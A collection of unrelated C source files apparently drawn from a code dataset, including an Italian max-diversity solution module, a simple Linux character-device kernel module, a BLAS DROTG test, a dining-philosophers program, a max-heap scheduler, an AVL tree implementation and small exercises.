exit(EXIT_FAILURE);
}
else
{
// Cancella il punto dalla lista corrente
sp = px->next[i];
pp = px->prev[i];
px->next[pp] = sp;
px->prev[sp] = pp;
// Aggiunge il punto nell'altra lista
sp = px->next[px->head_notx];
pp = px->head_notx;
px->next[i] = sp;
px->prev[i] = pp;
px->next[pp] = i;
px->prev[sp] = i;
// Aggiorna la cardinalità
px->card_x--;
// Aggiorna il vettore di incidenza
px->in_x[i] = false;
// Aggiorna il valore dell'obiettivo
for (p = first_point_in(px); !end_point_list(p,px); p = next_point(p,px))
px->f -= pI->d[get_point(p,px)][i];
}
}
// Calcola il costo di una soluzione in base ai punti che la compongono
void compute_obj (solution_t *px, data_t *pI)
{
point_pos p, q;
px->f = 0;
for (p = first_point_in(px); !end_point_list(p,px); p = next_point(p,px))
for (q = first_point_in(px); !end_point_list(q,px); q = next_point(q,px))
px->f += pI->d[get_point(p,px)][get_point(q,px)];
}
// Copia la soluzione x_orig nella soluzione x_dest
void copy_solution (solution_t *x_orig, solution_t *x_dest)
{
int i;
x_dest->f = x_orig->f;
x_dest->card_x = x_orig->card_x;
x_dest->card_N = x_orig->card_N;
for (i = 0; i <= x_dest->card_N; i++)
x_dest->in_x[i] = x_orig->in_x[i];
x_dest->head_x = x_orig->head_x;
x_dest->head_notx = x_orig->head_notx;
for (i = 0; i <= x_dest->card_N+1; i++)
{
x_dest->next[i] = x_orig->next[i];
x_dest->prev[i] = x_orig->prev[i];
}
}
// Verifica la coerenza interna della soluzione x in base ai dati dell'istanza I,
// partendo dal vettore di incidenza x.in_x
bool check_solution (solution_t *px, data_t *pI)
{
int i, j;
int ff, cont;
point_pos p;
ff = 0;
for (i = 1; i <= px->card_N; i++)
if (px->in_x[i] == true)
for (j = i+1; j <= px->card_N; j++)
if (px->in_x[j] == true)
ff += pI->d[i][j];
if (ff != px->f) return false;
cont = 0;
for (p = first_point_in(px); !end_point_list(p,px); p = next_point(p,px))
{
if (px->in_x[get_point(p,px)] == false) return false;
cont++;
}
if (cont != px->card_x) return false;
cont = 0;
for (p = first_point_out(px); !end_point_list(p,px); p = next_point(p,px))
{
if (px->in_x[get_point(p,px)] == true) return false;
cont++;
}
if (cont != px->card_N-px->card_x) return false;
return true;
}
// Copia in un vettore di interi gli elementi che appartengono alla soluzione
//void dump_soluzione(lista_nodi_t *lista_nodi, soluzione_t * soluzione_dest);
// Recupera in lista_nodi la soluzione salvata in soluzione
//void retrieve_soluzione(matrice_distanze_t *matrice_distanze, soluzione_t *soluzione, lista_nodi_t *lista_nodi);
// Stampa la soluzione x
void print_solution (solution_t *px)
{
point_pos p;
printf("f = %6d ",get_obj(px));
for (p = first_point_in(px); !end_point_list(p,px); p = next_point(p,px))
printf("%4d ",get_point(p,px));
}
/*
void dump_soluzione(lista_nodi_t *lista_nodi, soluzione_t * soluzione_dest)
{
int i, pos=0;
//soluzione_dest->elemento_m = (int *) calloc(m, sizeof(int));
soluzione_dest->Z = lista_nodi->Z;
for(i = lista_nodi->M_head ; i != (unsigned) CURSORE_NULL ; i = lista_nodi->nodo[i].next)
{
soluzione_dest->elemento_m[pos]=i;
++pos;
}
}
void retrieve_soluzione(matrice_distanze_t *matrice_distanze, soluzione_t *soluzione, lista_nodi_t *lista_nodi)
{
int i;
carica_lista_nodi(matrice_distanze,lista_nodi);
for (i = 0; i < matrice_distanze->m; i++)
aggiungi_nodo_lista_nodi_soluzione(soluzione->elemento_m[i],matrice_distanze,lista_nodi);
lista_nodi->Z = soluzione->Z;
}
*/
|
C | #include <linux/module.h>
#include <linux/init.h>
#include <linux/fs.h>
/* Meta Information */
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Johannes 4 GNU/Linux");
MODULE_DESCRIPTION("Registers a device nr. and implement some callback functions");
/**
* @brief This function is called, when the device file is opened
*/
static int driver_open(struct inode *device_file, struct file *instance) {
printk("dev_nr - open was called!\n");
return 0;
}
/**
* @brief This function is called, when the device file is opened
*/
static int driver_close(struct inode *device_file, struct file *instance) {
printk("dev_nr - close was called!\n");
return 0;
}
static struct file_operations fops = {
.owner = THIS_MODULE,
.open = driver_open,
.release = driver_close
};
#define MYMAJOR 64
/**
* @brief This function is called, when the module is loaded into the kernel
*/
static int __init ModuleInit(void) {
int retval;
printk("Hello, Kernel!\n");
/* register device nr. */
retval = register_chrdev(MYMAJOR, "my_dev_nr", &fops);
if(retval == 0) {
printk("dev_nr - registered Device number Major: %d, Minor: %d\n", MYMAJOR, 0);
}
else if(retval > 0) {
printk("dev_nr - registered Device number Major: %d, Minor: %d\n", retval>>20, retval&0xfffff);
}
else {
printk("Could not register device number!\n");
return -1;
}
return 0;
}
/**
* @brief This function is called, when the module is removed from the kernel
*/
static void __exit ModuleExit(void) {
unregister_chrdev(MYMAJOR, "my_dev_nr");
printk("Goodbye, Kernel\n");
}
module_init(ModuleInit);
module_exit(ModuleExit);
|
C | #include<stdio.h>
#include<string.h>
void main(){
char a[]="bb是大傻子";
char b[]="BB是小机灵鬼";
if(strcmp(a,b)==0){
printf("说得对");
}
else{
printf("b说的不对");
}
}
|
C | #include <time.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include "/opt/acml5.3.0/gfortran64/include/acml.h"
extern void xdrotg_(double *a, double *b, double *c, double *s);
void f_drotg(double *a, double *b, double *c, double *s)
{
xdrotg_(a, b, c, s);
}
double a1, b1, c1, s1;
double a2, b2, c2, s2;
float seps = 0.000001;
double deps = 0.0000000001;
void acml_test()
{
drotg(&a1, &b1, &c1, &s1);
}
void f_test()
{
f_drotg(&a2, &b2, &c2, &s2);
}
int scalars_cmp()
{
return (fabs(a1 - a2) < deps &&
fabs(b1 - b2) < deps &&
fabs(c1 - c2) < deps &&
fabs(s1 - s2) < deps);
}
void run_test()
{
printf("Running test for DROTG with a = %f, b = %f, c = %f and s = %f\n",a1,b1,c1,s1);
printf("ACML == Fortran\n");
acml_test();
f_test();
printf("%d\n",scalars_cmp());
}
int main(int argc, char** argv)
{
srand(time(NULL));
init_();
a1 = rand()/1.0/RAND_MAX - 0.5;
b1 = rand()/1.0/RAND_MAX - 0.5;
c1 = rand()/1.0/RAND_MAX - 0.5;
s1 = rand()/1.0/RAND_MAX - 0.5;
a2 = a1;
b2 = b1;
c2 = c1;
s2 = s1;
run_test();
a1 = 5.5;
b1 = 4.5;
c1 = rand()/1.0/RAND_MAX - 0.5;
s1 = rand()/1.0/RAND_MAX - 0.5;
a2 = a1;
b2 = b1;
c2 = c1;
s2 = s1;
run_test();
a1 = 4.5;
b1 = 5.5;
c1 = rand()/1.0/RAND_MAX - 0.5;
s1 = rand()/1.0/RAND_MAX - 0.5;
a2 = a1;
b2 = b1;
c2 = c1;
s2 = s1;
run_test();
a1 = 4.5;
b1 = 5.5;
c1 = 0;
s1 = rand()/1.0/RAND_MAX - 0.5;
a2 = a1;
b2 = b1;
c2 = c1;
s2 = s1;
run_test();
a1 = 0.0;
b1 = 0.0;
c1 = rand()/1.0/RAND_MAX - 0.5;
s1 = rand()/1.0/RAND_MAX - 0.5;
a2 = a1;
b2 = b1;
c2 = c1;
s2 = s1;
run_test();
return 0;
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* philo_one.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: lhuang <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/04/19 20:43:09 by lhuang #+# #+# */
/* Updated: 2020/05/18 14:48:53 by lhuang ### ########.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include "philo_one.h"
#include "ft_philo_utils.h"
#include "ft_run_threads.h"
#include "ft_free.h"
static int ft_check_args(int argc, char **argv, t_philo_infos *p_infos)
{
if (argc != 5 && argc != 6)
{
write(2, "Wrong number of arguments\n", 26);
return (1);
}
if ((ft_get_philo_infos(argc, argv, p_infos)) == -1)
{
write(2, "Wrong arguments\n", 16);
return (1);
}
return (0);
}
static int ft_prepare_infos(t_philo_infos *p_infos, t_philo_status *p_status,
pthread_mutex_t *m_forks, pthread_mutex_t *m_write)
{
int i;
int ret;
i = 0;
ret = 0;
if ((ret = pthread_mutex_init(m_write, NULL)) != 0)
return (ret);
while (i < p_infos->nb_philo)
{
p_status[i].philo_num = i;
p_status[i].eat_count = 0;
p_status[i].eaten_time = p_infos->starting_time;
p_status[i].eat_ok = 0;
p_status[i].infos = p_infos;
p_status[i].m_forks = m_forks;
p_status[i].m_write = m_write;
if ((ret = pthread_mutex_init(&(p_status[i].m_forks[i]), NULL)) != 0)
return (ft_free_mutex(m_forks, m_write, i, ret));
i++;
}
return (0);
}
static int ft_create_threads(t_philo_infos *p_infos,
t_philo_status *p_status, int ret)
{
pthread_t end_thread;
int i;
i = 0;
while (i < p_infos->nb_philo)
{
if ((ret = pthread_create(&(p_status[i].thread), NULL, ft_philo_thread,
&(p_status[i]))) != 0)
return (ret);
usleep(1);
i++;
}
if ((ret = pthread_create(&end_thread, NULL, ft_end_thread, p_status)) != 0)
return (ret);
if ((ret = pthread_join(end_thread, NULL)) != 0)
return (ret);
i = 0;
while (i < p_infos->nb_philo)
{
if ((ret = pthread_join(p_status[i].thread, NULL)) != 0)
return (ret);
i++;
}
return (0);
}
int main(int argc, char **argv)
{
t_philo_infos p_infos;
t_philo_status *p_status;
pthread_mutex_t *m_forks;
pthread_mutex_t m_write;
int ret;
ret = 0;
if (ft_check_args(argc, argv, &p_infos) == 1)
return (1);
if (!(p_status = malloc(sizeof(*p_status) * p_infos.nb_philo)))
return (1);
if (!(m_forks = malloc(sizeof(*m_forks) * p_infos.nb_philo)))
{
free(p_status);
return (1);
}
if ((ret = ft_prepare_infos(&p_infos, p_status, m_forks, &m_write)) != 0)
{
free(p_status);
free(m_forks);
return (ret);
}
ret = ft_create_threads(&p_infos, p_status, 0);
return (ft_free_all(p_status, m_forks, &m_write, ret));
}
|
C | #include <stdio.h>
#include <stdlib.h>
void main()
{
int i, sumo, ans;
sumo = 0;
ans = 0;
for(i = 1; i<=200; i++)
{
sumo += i;
if(i == 10)
{
ans += sumo;
}
else if(i == 100)
{
ans += sumo;
}
else if(i == 200)
{
ans += sumo;
}
}
printf("%d", ans);
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define LCHILD(x) 2 * x + 1
#define RCHILD(x) 2 * x + 2
#define PARENT(x) (x - 1) / 2
typedef struct node {
int id;
int data;
int b_time;
} node ;
typedef struct maxHeap {
int size ;
node *elem ;
} maxHeap ;
node process[10];
int pos_h=0;
float avg_exc_time=0;
int abs_size=0;
/*
Function to initialize the max heap with size = 0
*/
maxHeap initMaxHeap(int size) {
maxHeap hp ;
hp.size = 0 ;
hp.elem = malloc(size * sizeof(node)) ;
return hp ;
}
/*
Function to swap data within two nodes of the max heap using pointers
*/
void swap(node *n1, node *n2) {
node temp = *n1 ;
*n1 = *n2 ;
*n2 = temp ;
}
/*
Heapify function is used to make sure that the heap property is never violated
In case of deletion of a node, or creating a max heap from an array, heap property
may be violated. In such cases, heapify function can be called to make sure that
heap property is never violated
*/
void heapify(maxHeap *hp, int i) {
int largest = (LCHILD(i) < hp->size && hp->elem[LCHILD(i)].data > hp->elem[i].data) ? LCHILD(i) : i ;
if(RCHILD(i) < hp->size && hp->elem[RCHILD(i)].data > hp->elem[largest].data) {
largest = RCHILD(i) ;
}
if(largest != i) {
swap(&(hp->elem[i]), &(hp->elem[largest])) ;
heapify(hp, largest) ;
}
}
/*
Build a Max Heap given an array of numbers
Instead of using insertNode() function n times for total complexity of O(nlogn),
we can use the buildMaxHeap() function to build the heap in O(n) time
*/
void buildMaxHeap(maxHeap *hp, int *arr, int size) {
int i ;
// Insertion into the heap without violating the shape property
for(i = 0; i < size; i++) {
if(hp->size) {
hp->elem = realloc(hp->elem, (hp->size + 1) * sizeof(node)) ;
} else {
hp->elem = malloc(sizeof(node)) ;
}
node nd ;
nd.data = arr[i] ;
hp->elem[(hp->size)++] = nd ;
}
// Making sure that heap property is also satisfied
for(i = (hp->size - 1) / 2; i >= 0; i--) {
heapify(hp, i) ;
}
}
/*
Function to insert a node into the max heap, by allocating space for that node in the
heap and also making sure that the heap property and shape propety are never violated.
*/
void insertNode(maxHeap *hp, int data, int id, int b_time) {
node nd ;
nd.data = data ;
nd.id = id;
nd.b_time = b_time;
int i = (hp->size)++ ;
while(i && nd.data > hp->elem[PARENT(i)].data) {
hp->elem[i] = hp->elem[PARENT(i)] ;
i = PARENT(i) ;
}
hp->elem[i] = nd ;
}
/*
Function to delete a node from the max heap
It shall remove the root node, and place the last node in its place
and then call heapify function to make sure that the heap property
is never violated
Returns 1 if Max Heap is empty
*/
int deleteNode(maxHeap *hp) {
//printf("Size prev delete%d\n\n-----------------------\n",hp->size);
if(hp->size) {
process[pos_h]= hp->elem[0];
printf("Deleting node %d %d %d\n\n", hp->elem[0].data,hp->elem[0].id,hp->elem[0].b_time) ;
hp->elem[0] = hp->elem[--(hp->size)] ;
hp->elem = realloc(hp->elem, hp->size * sizeof(node)) ;
heapify(hp, 0) ;
//printf("Size pos_ht delete%d\n\n",hp->size);
return 0;
} else {
printf("\nMax Heap is empty!\n") ;
//free(hp->elem) ;
return 1;
}
}
/*
Function to get minimum node from a max heap
The minimum node shall always be one of the leaf nodes. So we shall recursively
move through both left and right child, until we find their minimum nodes, and
compare which is smaller. It shall be done recursively until we get the minimum
node
*/
int getMinNode(maxHeap *hp, int i) {
if(LCHILD(i) >= hp->size) {
return hp->elem[i].data ;
}
int l = getMinNode(hp, LCHILD(i)) ;
int r = getMinNode(hp, RCHILD(i)) ;
if(l <= r) {
return l ;
} else {
return r ;
}
}
/*
Function to get maximum node from a max heap
*/
/*int getMax(maxHeap *hp){
int max=hp->elem[0].data;
return max;
}*/
node getMax(maxHeap *hp){
return hp->elem[0];
}
/*
Function to clear the memory allocated for the max heap
*/
void deleteMaxHeap(maxHeap *hp) {
free(hp->elem) ;
}
void inorderTraversal(maxHeap *hp, int i) {
if(LCHILD(i) < hp->size) {
inorderTraversal(hp, LCHILD(i)) ;
}
printf("P%d: b_time: %d priority: %d\n", hp->elem[i].id, hp->elem[i].b_time, hp->elem[i].data) ;
if(RCHILD(i) < hp->size) {
inorderTraversal(hp, RCHILD(i)) ;
}
}
void preorderTraversal(maxHeap *hp, int i) {
if(LCHILD(i) < hp->size) {
preorderTraversal(hp, LCHILD(i)) ;
}
if(RCHILD(i) < hp->size) {
preorderTraversal(hp, RCHILD(i)) ;
}
printf("P%d: b_time: %d priority: %d\n", hp->elem[i].id, hp->elem[i].b_time, hp->elem[i].data) ;
}
void pos_htorderTraversal(maxHeap *hp, int i) {
printf("P%d: b_time: %d priority: %d\n", hp->elem[i].id, hp->elem[i].b_time, hp->elem[i].data) ;
if(LCHILD(i) < hp->size) {
pos_htorderTraversal(hp, LCHILD(i)) ;
}
if(RCHILD(i) < hp->size) {
pos_htorderTraversal(hp, RCHILD(i)) ;
}
}
/*
Function to display all the nodes in the max heap
*/
void levelorderTraversal(maxHeap *hp) {
int i ;
printf("Level Order: \n");
for(i = 0; i < hp->size; i++) {
printf("P%d: b_time: %d priority: %d\n", hp->elem[i].id, hp->elem[i].b_time, hp->elem[i].data) ;
}
}
void print_MaxSort(void){
int i=0;
printf("Excecuting process: \n");
for (i; i < abs_size; ++i){
printf("P%d: b_time%d: priority: %d\n", process[i].id, process[i].b_time, process[i].data) ;
}
printf("Average excecution time: %.1f\n",avg_exc_time);
}
void MaxSort(maxHeap *hp){
int i=0;
abs_size=hp->size;
int exc_time=0;
for (i; i < abs_size; ++i){
process[i]=hp->elem[0];
exc_time+=process[i].b_time;
//printf("P%d: b_time%d: priority%d: \n", process[i].id, process[i].b_time, process[i].data) ;
hp->elem[0] = hp->elem[--(hp->size)] ;
heapify(hp,0);
}
avg_exc_time=(float)exc_time/(float)abs_size;
}
void MinSort(maxHeap *hp){
int i;
printf("Excecuting process: \n");
MaxSort(hp);
i = abs_size-1;
for (i; i>-1 ; --i){
printf("P%d: b_time: %d priority: %d\n", process[i].id, process[i].data, process[i].b_time) ;
}
printf("Average excecution time: %.1f\n",avg_exc_time);
}
void print(maxHeap *hp){
int i=0;
for(i; i < hp->size; i++) {
printf("P%d: b_time: %d priority: %d\n", hp->elem[i].id, hp->elem[i].b_time, hp->elem[i].data) ;
}
}
|
C | /*
pretty heuristic in deletion. need to consider corner cases especailly in deletion.
insert is for recursive insertion. need to update the left/right pointer,
so address of left/right pointer should be delivered.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
/* max random number */
#define RNUM 100
#define MAX(A, B) (((A)>(B))?(A):(B))
struct tnode{
int key; /* key */
char name[16];
/* doubly linked list. par is to parent. */
struct tnode *par, *left, *right;
int ht; /* height, bal = r->ht - l->ht */
int inc;
};
unsigned long cntinsert = 0;
unsigned long cntdelete = 0;
struct tnode *root = NULL;
struct tnode *prev = NULL;
struct tnode *successor = NULL;
void traverse(struct tnode *pn);
void setht(struct tnode *pn)
{
if(!pn->left && pn->right) pn->ht = pn->right->ht + 1;
else if(!pn->right && pn->left) pn->ht = pn->left->ht + 1;
else if(!pn->right && !pn->left) pn->ht = 0;
else pn->ht = MAX(pn->right->ht, pn->left->ht) + 1;
}
/* rotate right for zig-zig (A, B, C) */
/* a b
/ / \
b => c a
/
c
*/
void rr(struct tnode *pn)
{
struct tnode *cur = pn;
struct tnode *temp1 = cur->left; /* for left child */
if(cur->par) {
if(cur->par->right == cur) {
cur->par->right = temp1;
temp1->par= cur->par;
} else {
cur->par->left = temp1;
temp1->par = cur->par;
}
} else {
root = temp1;
temp1->par = NULL;
}
if(temp1->right) {
cur->left = temp1->right;
temp1->right->par = cur;
} else cur->left = NULL;
temp1->right = cur;
cur->par = temp1;
setht(cur);
setht(temp1);
}
/* rotate left for zag-zag (A, B, C) */
/* a b
\ / \
b => a c
\
c
*/
void rl(struct tnode *pn)
{
struct tnode *cur = pn;
struct tnode *temp1 = cur->right; /* for right child */
if(cur->par) {
if(cur->par->right == cur) {
cur->par->right = temp1;
temp1->par = cur->par;
} else {
cur->par->left = temp1;
temp1->par = cur->par;
}
} else {
root = temp1;
temp1->par = NULL;
}
if(temp1->left) {
cur->right = temp1->left;
temp1->left->par = cur;
} else cur->right = NULL;
temp1->left = cur;
cur->par = temp1;
setht(cur);
setht(temp1);
}
/* double rotate right and left for zig-zag(A, B, C) */
/*
a a a
/ \ / \ / \
b e => b e => d e
\ \ / \
c d b c
/ \
d c
*/
void rrl(struct tnode *pn)
{
struct tnode *cur = pn;
struct tnode *temp1 = cur->right;
struct tnode *temp2 = temp1->left;
rr(temp1);
rl(cur);
/*
setht(cur);
setht(temp1);
setht(temp2);
*/
}
/* double rotate left and right for zig-zag(A, B, C) */
/*
a a a
/ \ / \ / \
e b => e b => e d
/ / / \
c d c b
\ /
d c
*/
void rlr(struct tnode *pn)
{
struct tnode *cur = pn;
struct tnode *temp1 = cur->left;
struct tnode *temp2 = temp1->right;
rl(temp1);
rr(cur);
/*
setht(cur);
setht(temp1);
setht(temp2);
*/
}
int calcbal(struct tnode *pn)
{
int bal;
struct tnode *cur = pn;
if(!cur->left && !cur->right) {
bal = 0;
} else if(!cur->left && cur->right) {
bal = cur->right->ht - (-1); /* height of NULL is -1 */
} else if(!cur->right && cur->left) {
bal = (-1) - cur->left->ht; /* height of NULL is -1 */
} else {
bal = cur->right->ht - cur->left->ht;
}
return bal;
}
void rebalance(struct tnode *pn)
{
struct tnode *cur = pn;
struct tnode *temp, *tempright, *templeft;
int bal = 0;
bal = calcbal(cur);
if(bal == 2) {
temp = cur->right;
tempright = temp->right;
templeft = temp->left;
/* rotation left is enough for rebalance */
if(tempright && templeft) {
if(tempright->ht >= templeft->ht) {
rl(cur);
} else {
rrl(cur);
}
} else if(tempright && !templeft) {
rl(cur);
} else if(templeft && !tempright) {
rrl(cur);
} else {
printf("should not see this 1 \n");
}
} else if (bal == -2) {
temp = cur->left;
tempright = temp->right;
templeft = temp->left;
if(tempright && templeft) {
if(templeft->ht >= tempright->ht) {
rr(cur);
} else {
rlr(cur);
}
} else if(templeft && !tempright) {
rr(cur);
} else if(tempright && !templeft) {
rlr(cur);
} else {
printf("should not see this 2 \n");
}
} else {
/* only set the height correctly */
setht(cur);
}
}
void setht_successor(struct tnode *pn)
{
struct tnode *cur = pn;
if(!cur) {
return;
} else {
setht_successor(cur->left);
setht(cur);
}
}
void rebalance_successor(struct tnode *pn)
{
struct tnode *cur = pn;
if(!cur) {
return;
} else {
rebalance_successor(cur->left);
rebalance(cur);
}
}
void xinsert(struct tnode **pn, struct tnode tn)
{
struct tnode *cur = *pn, *temp/* for swap */, *temp2, *temp3;
int bal = 0;
if(!cur) {
cur = (struct tnode*)malloc(sizeof(struct tnode));
cur->left = NULL;
cur->right = NULL;
cur->par = NULL;
cur->key = tn.key;
strcpy(cur->name, tn.name);
/*cur->bal = 0;*/
cur->ht = 0;
cur->inc = 0;
*pn = cur;
cntinsert++;
return;
} else {
/* don't insert the same key */
if(tn.key == cur->key) {
/*printf("already there key : %d \n", tn.key);*/
return;
}
/* height increase when both children are null */
if(!cur->left && !cur->right) {
cur->ht += 1;
cur->inc = 1;
} else cur->inc = 0;
if(tn.key < cur->key) {
xinsert(&cur->left, tn);
/* need to update height after insert. this is reverse order */
if(!cur->left->par) cur->left->par = cur;
if(cur->left->inc) {
cur->left->inc = 0;
setht(cur);
cur->inc = 1;
}
} else {
xinsert(&cur->right, tn);
/* need to update height after insert. this is reverse order */
if(!cur->right->par) cur->right->par = cur;
if(cur->right->inc) {
cur->right->inc = 0;
setht(cur);
cur->inc = 1;
}
}
bal = calcbal(cur);
/* need to check balance factor after recursive */
/* if balancing is broken */
if(bal == 2) {
if(tn.key >= cur->right->key) {
/* case 1 : right-right */
rl(cur);
cur->inc = 0;
} else {
/* case 2 : right-left */
rrl(cur);
cur->inc = 0;
}
} else if(bal == -2) {
if(tn.key < cur->left->key) {
/* case 3: left - left */
rr(cur);
cur->inc = 0;
} else {
/* case 4: left-right */
rlr(cur);
cur->inc = 0;
}
}
}
}
struct tnode *findpredecessor(struct tnode *pn)
{
struct tnode *cur;
if(!pn) return NULL;
cur = pn->left;
if(!cur) return NULL;
/* specially in this example, the node with biggest key of left children is the predecessor */
while(cur->right) {
cur = cur->right;
}
return cur;
}
struct tnode *findsuccessor(struct tnode *pn)
{
struct tnode *cur;
if(!pn) return NULL;
/* if cur has right subtree,
then return leftmost node of right subtree.
else if not right subtree,
then return the parent of upper most node until cur == cur->par->right */
if(pn->right) {
cur = pn->right;
while(cur->left) {
cur = cur->left;
}
return cur;
} else {
while(cur == cur->par->right) {
/* go up */
cur = cur->par;
}
return cur->par;
}
}
void xdelete(struct tnode **pn, struct tnode tn)
{
int bal = 0;
struct tnode *cur = *pn;
/*struct tnode *successor;*/
struct tnode *temp;
if(!cur) {
return;
} else {
if(cur->key == tn.key) {
cntdelete++;
/* case 1 : if cur is leaf*/
if(!cur->left && !cur->right) {
if(!cur->par) {/* there is only a root node */
free(cur);
/*prev = cur;*/
cur = NULL;
root = NULL;
} else if(cur->par->left == cur) {
cur->par->left = NULL;
free(cur);
/*prev = cur;*/
cur = NULL;
} else if(cur->par->right == cur) {
cur->par->right = NULL;
free(cur);
/*prev = cur;*/
cur = NULL;
}
/* case 2 : if cur has only one child */
} else if(cur->right && !cur->left) {
if(cur->par) {
if(cur->par->left == cur) {
cur->par->left = cur->right;
cur->right->par = cur->par;
} else {
cur->par->right = cur->right;
cur->right->par = cur->par;
}
} else {/* corner case when par is null, i.e. cur is root. */
root = cur->right;
cur->right->par = NULL;
}
free(cur);
/*prev = cur;*/
cur = NULL;
/* case 2 : if cur has only one child */
} else if(cur->left && !cur->right) {
if(cur->par) {
if(cur->par->left == cur) {
cur->par->left = cur->left;
cur->left->par = cur->par;
} else {
cur->par->right = cur->left;
cur->left->par = cur->par;
}
} else {/* corner case when par is null, i.e. cur is root. */
root = cur->left;
cur->left->par = NULL;
}
free(cur);
/*prev = cur;*/
cur = NULL;
/* case 3 : if cur has two children, replace it with successor */
} else {
successor = findsuccessor(cur);
if(successor) {
/* if successor is not right child of cur */
if(successor->par != cur) {
successor->par->left = successor->right;
if(successor->right) successor->right->par = successor->par;
successor->left = cur->left;
if(cur->left) cur->left->par = successor;
successor->right = cur->right;
if(cur->right) cur->right->par = successor;
/* if cur is not root */
if(cur->par) {
if(cur->par->right == cur) {
cur->par->right = successor;
successor->par = cur->par;
} else {
cur->par->left = successor;
successor->par = cur->par;
}
/* if cur is root */
} else {
root = successor;
successor->par = NULL;
}
free(cur);
/*prev = cur;*/
cur = NULL;
/* recalc successor & right child's height. */
setht_successor(successor->right);
setht(successor);
/* successor and successor->right's balancing should be checked */
rebalance_successor(successor->right);
rebalance(successor);
} else {
/* if successor is right child of cur */
successor->left = cur->left;
if(cur->left) cur->left->par = successor;
/* if cur is not root */
if(cur->par) {
if(cur->par->right == cur) {
cur->par->right = successor;
successor->par = cur->par;
} else {
cur->par->left = successor;
successor->par = cur->par;
}
/* if cur is root */
} else {
root = successor;
successor->par = NULL;
}
free(cur);
/*prev = cur;*/
cur = NULL;
/* recalc only successor(right child) height.
right child is a successor. */
setht(successor);
/* successor's balancing should be checked */
rebalance(successor);
}
}
}
} else if(tn.key < cur->key) {
xdelete(&cur->left, tn);
setht(cur);
} else {
xdelete(&cur->right, tn);
setht(cur);
}
if(cur) {
bal = calcbal(cur);
if(bal == 2 || bal == -2) {
rebalance(cur);
/* rebalance one time is not enough in some cases.
need to rebalance again.
*/
if(cur == cur->par->left) {
rebalance(cur->par->right);
} else {
rebalance(cur->par->left);
}
rebalance(cur->par);
}
}
}
}
/* simple but not used for rebalancing */
void delmerge(struct tnode n)
{
struct tnode *cur = root;
struct tnode *par = NULL;
struct tnode *temp = NULL;
while(cur) {
if(cur->key < n.key){
par = cur;
cur = cur->right;
} else if(cur->key > n.key) {
par = cur;
cur = cur->left;
} else { /* found */
/* case 1 : if cur is leaf*/
if(!cur->left && !cur->right) {
if(!par) {/* there is only a root node */
free(cur);
root = NULL;
} else if(par->left == cur) {
par->left = NULL;
free(cur);
} else if(par->right == cur) {
par->right = NULL;
free(cur);
}
/* case 2 : if cur has only one child */
} else if(!cur->left) {
if(par) {
if(par->left == cur) par->left = cur->right;
else par->right = cur->right;
} else {/* corner case when par is null, i.e. cur is root. */
root = cur->right;
}
free(cur);
} else if(!cur->right) {
if(par) {
if(par->left == cur) par->left = cur->left;
else par->right = cur->right;
} else {/* corner case when par is null, i.e. cur is root. */
root = cur->left;
}
free(cur);
/* case 3 : if cur has two children, merge subtrees.
*/
} else {
temp = findpredecessor(cur);
temp->right= cur->right;
if(par) {
if(par->left == cur) par->left = cur->left;
else if(par->right == cur) par->right = cur->left;
} else { /* corner case when par is null, i.e. cur is root. */
if(temp != cur->left) temp->left = cur->left;
root = temp;
}
free(cur);
}
break;
}
}
}
struct tnode *search(struct tnode n)
{
struct tnode *cur = root;
while(cur) {
if(cur->key < n.key) {
cur = cur->right;
} else if(cur->key > n.key) {
cur = cur->left;
} else {
break;
}
}
return cur;
}
void deletetree(struct tnode *pn)
{
struct tnode *temp;
if(!pn) return;
else {
deletetree(pn->left);
temp = pn->right;
/*printf("delete tree : %s, key : %d\n", pn->name, pn->key);*/
free(pn);
pn = NULL;
deletetree(temp);
}
}
void traverse(struct tnode *pn)
{
int ht;
int bal = 0;
struct tnode *cur = pn;
if(!cur) return;
else {
traverse(cur->left);
if(!cur->left && cur->right) {
ht = cur->right->ht + 1;
bal = cur->right->ht - (-1);
}
else if(!cur->right && cur->left) {
ht = cur->left->ht + 1;
bal = (-1) - cur->left->ht;
}
else if(!cur->right && !cur->left) {
ht = 0;
bal = 0;
}
else {
ht = MAX(cur->right->ht, cur->left->ht) + 1;
bal = cur->right->ht - cur->left->ht;
}
if(cur->ht != ht) {
printf("ht is inconsistent\n");
printf("cur is %s, key : %d\n", cur->name, cur->key);
}
if(bal >=2 || bal <= -2) {
printf("before bal is : %d \n", bal);
printf("cur is %s, key : %d\n", cur->name, cur->key);
}
traverse(cur->right);
}
}
int main()
{
int i, c, key;
char name[16];
struct tnode tn;
float rn, stretch = 100000;
#if 0
tn.name[0] = 'a'-1;
for(i=0 ; i<100 ; i++) {
sprintf(tn.name, "%d", i);
tn.key = i+1;
//xinsertn(tn);
xinsert(&root, tn);
}
#endif
#if 0
c = getchar();
while(c != 'q') {
if(c == 'i') {
printf("insert name : \n");
scanf("%s", tn.name);
printf("insert key : \n");
scanf("%d", &tn.key);
xinsert(&root, tn);
} else if(c == 'd') {
printf("delete key : \n");
scanf("%d", &tn.key);
xdelete(&root, tn);
}
c = getchar();
traverse(root);
}
#endif
#if 1
srand(time(NULL));
do {
/*deletetree(root);*/
for(i=0 ; i<100000; i++) {
/* insert node */
rn = (float)((float)rand()/(float)RAND_MAX*stretch);
tn.key = (int)rn;
sprintf(tn.name, "%d", i);
xinsert(&root, tn);
}
for(i=0 ; i<100000; i++) {
/* delete node */
/*printf("delete node \n");*/
rn = (float)((float)rand()/(float)RAND_MAX*stretch);
tn.key = (int)rn;
xdelete(&root, tn);
}
/*traverse(root);*/
printf("press enter to continue test \n");
c = getchar();
} while(c != 'q');
#endif
/*traverse(root);*/
deletetree(root);
printf("insert %ld times, delete %ld times\n",cntinsert, cntdelete);
return 0;
}
|
C | // 1. Product of numbers
// Create a program that calculates the product of the first 10 numbers (1…10), which is 10 factorial.
// You may use the given pseudo code. Put an extra line in the loop to print the value of the loop variable
// and that of the product as well in order to see how the product develops.
// Let the product be 1.
// Let n be 10.
// As long as n≥2
// Let product be product × n.
// Decrease n by 1.
